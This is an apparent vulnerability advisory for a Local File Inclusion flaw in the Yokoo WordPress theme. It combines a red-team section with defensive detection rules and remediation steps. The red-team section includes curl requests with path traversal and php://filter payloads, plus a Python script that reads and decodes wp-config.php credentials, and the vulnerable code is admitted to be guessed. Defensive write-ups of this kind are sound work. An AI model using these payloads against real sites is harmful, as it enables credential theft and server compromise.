CVE-2025-69400

Executive Summary

CVE-2025-69400 is a critical Local File Inclusion (LFI) vulnerability affecting the Yokoo WordPress theme developed by ThemeREX. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, including configuration files containing database credentials, source code, and other system files. The CVSS score of 8.1 reflects the high confidentiality impact and ease of exploitation over the network without authentication. As a WordPress ecosystem issue, this vulnerability affects sites running the Yokoo theme version 1.1.11 and earlier. No patch is currently available, making immediate mitigation actions critical.

Supply Chain & Package Security

This vulnerability is specific to the WordPress theme ecosystem, not a package manager like NPM or PyPI. However, the theme is distributed through ThemeREX’s own channels and potentially third-party marketplaces. Users should verify the integrity of their theme files and monitor for official updates from ThemeREX.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to full server compromise through credential disclosure.

Deep Dive & Mechanics

The vulnerability exists in the Yokoo theme’s PHP code, likely within a custom page template or shortcode handler that uses a user-supplied parameter to construct a file path for inclusion. The PHP function include() or require() is called with a filename that is not properly sanitized, allowing path traversal sequences like ../ to escape the intended directory.

Example vulnerable code pattern:

$template = $_GET['template'];
include( get_template_directory() . '/templates/' . $template . '.php' );

An attacker can supply a value like ../../../../etc/passwd%00 to read arbitrary files. The null byte injection (%00) may be used to truncate the .php extension in older PHP versions, though modern PHP versions require alternative techniques like using php://filter wrappers.

Attack flow:

1. Attacker identifies a parameter (e.g., template, page, file) in the theme’s URL.
2. Attacker crafts a request with path traversal sequences.
3. The server includes the specified file, outputting its contents to the attacker.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the fix. A patched version would implement strict input validation and use a whitelist of allowed files.

Vulnerable code (conceptual):

$file = $_GET['file'];
include( get_template_directory() . '/includes/' . $file );

Patched code (conceptual):

$allowed_files = array('header', 'footer', 'sidebar');
$file = basename( $_GET['file'] );
if ( in_array( $file, $allowed_files ) ) {
    include( get_template_directory() . '/includes/' . $file . '.php' );
} else {
    // Handle error
}

The patched version uses basename() to strip directory paths and validates against a whitelist.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress with the Yokoo theme version 1.1.11.
2. Ensure the vulnerable parameter is present (e.g., in a page template).

Exploitation Steps:

1. Identify the vulnerable endpoint. Common patterns include:

   • http://target/wp-content/themes/yokoo/template.php?file=...
   • http://target/?page_id=X&template=...

2. Test for LFI using path traversal:

   curl "http://target/wp-content/themes/yokoo/template.php?file=../../../etc/passwd"
   

3. Use PHP wrappers to read PHP source code:

   curl "http://target/wp-content/themes/yokoo/template.php?file=php://filter/convert.base64-encode/resource=../../../wp-config.php"
   

4. Decode the base64 output to retrieve database credentials.

Example exploit script (Python):

import requests
import base64

target = "http://target/wp-content/themes/yokoo/template.php"
payload = "php://filter/convert.base64-encode/resource=../../../wp-config.php"
r = requests.get(target, params={"file": payload})
if r.status_code == 200:
    decoded = base64.b64decode(r.text).decode()
    print(decoded)

Blue Team (Defensive)

Detection:

• Monitor web server logs for ../ or php:// patterns in GET parameters.
• Look for requests to theme template files with suspicious parameters.

Mitigation:

• Disable the vulnerable theme immediately if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block path traversal attempts.
• Restrict file permissions on the server to limit the impact of LFI.

Indicators of Compromise (IOCs)

• URL patterns:

  • file=php://filter/
  • file=..%2f..%2f..%2f
  • template=..%2f..%2f..%2fetc%2fpasswd

• Log entries:

  • GET /wp-content/themes/yokoo/template.php?file=../../../etc/passwd
  • GET /wp-content/themes/yokoo/template.php?file=php://filter/...

• File access:

  • Unauthorized reads of /etc/passwd, /wp-config.php, or other sensitive files.

Detection Engineering

YARA Rule

rule CVE_2025_69400_LFI_Yokoo {
    meta:
        description = "Detects LFI attempts targeting Yokoo theme"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-69400"
    strings:
        $path_traversal = /(\.\.\/|\.\.%2f|%2e%2e%2f)/ nocase
        $php_wrapper = /php:\/\/filter/ nocase
        $theme_path = /wp-content\/themes\/yokoo/ nocase
    condition:
        any of ($path_traversal, $php_wrapper) and $theme_path
}

Sigma Rule

title: CVE-2025-69400 Yokoo Theme LFI Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects path traversal attempts against Yokoo WordPress theme
author: Valters IT
date: 2025/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains:
            - '/wp-content/themes/yokoo/'
            - 'file=../'
            - 'file=php://'
            - 'template=../'
    condition: selection
falsepositives:
    - Legitimate use of similar patterns in other themes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69400 Yokoo Theme LFI Attempt"; flow:to_server,established; content:"/wp-content/themes/yokoo/"; http_uri; content:"file="; http_uri; pcre:"/(\.\.\/|php:\/\/filter)/Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Yokoo theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four).
2. Short-term: Implement a WAF rule to block ../ and php:// patterns in GET parameters.
3. Long-term: Monitor ThemeREX for an official patch. Once released, update the theme immediately.
4. Hardening: Ensure allow_url_include is disabled in php.ini to prevent remote file inclusion.
5. Audit: Review server logs for any signs of exploitation and rotate any exposed credentials.

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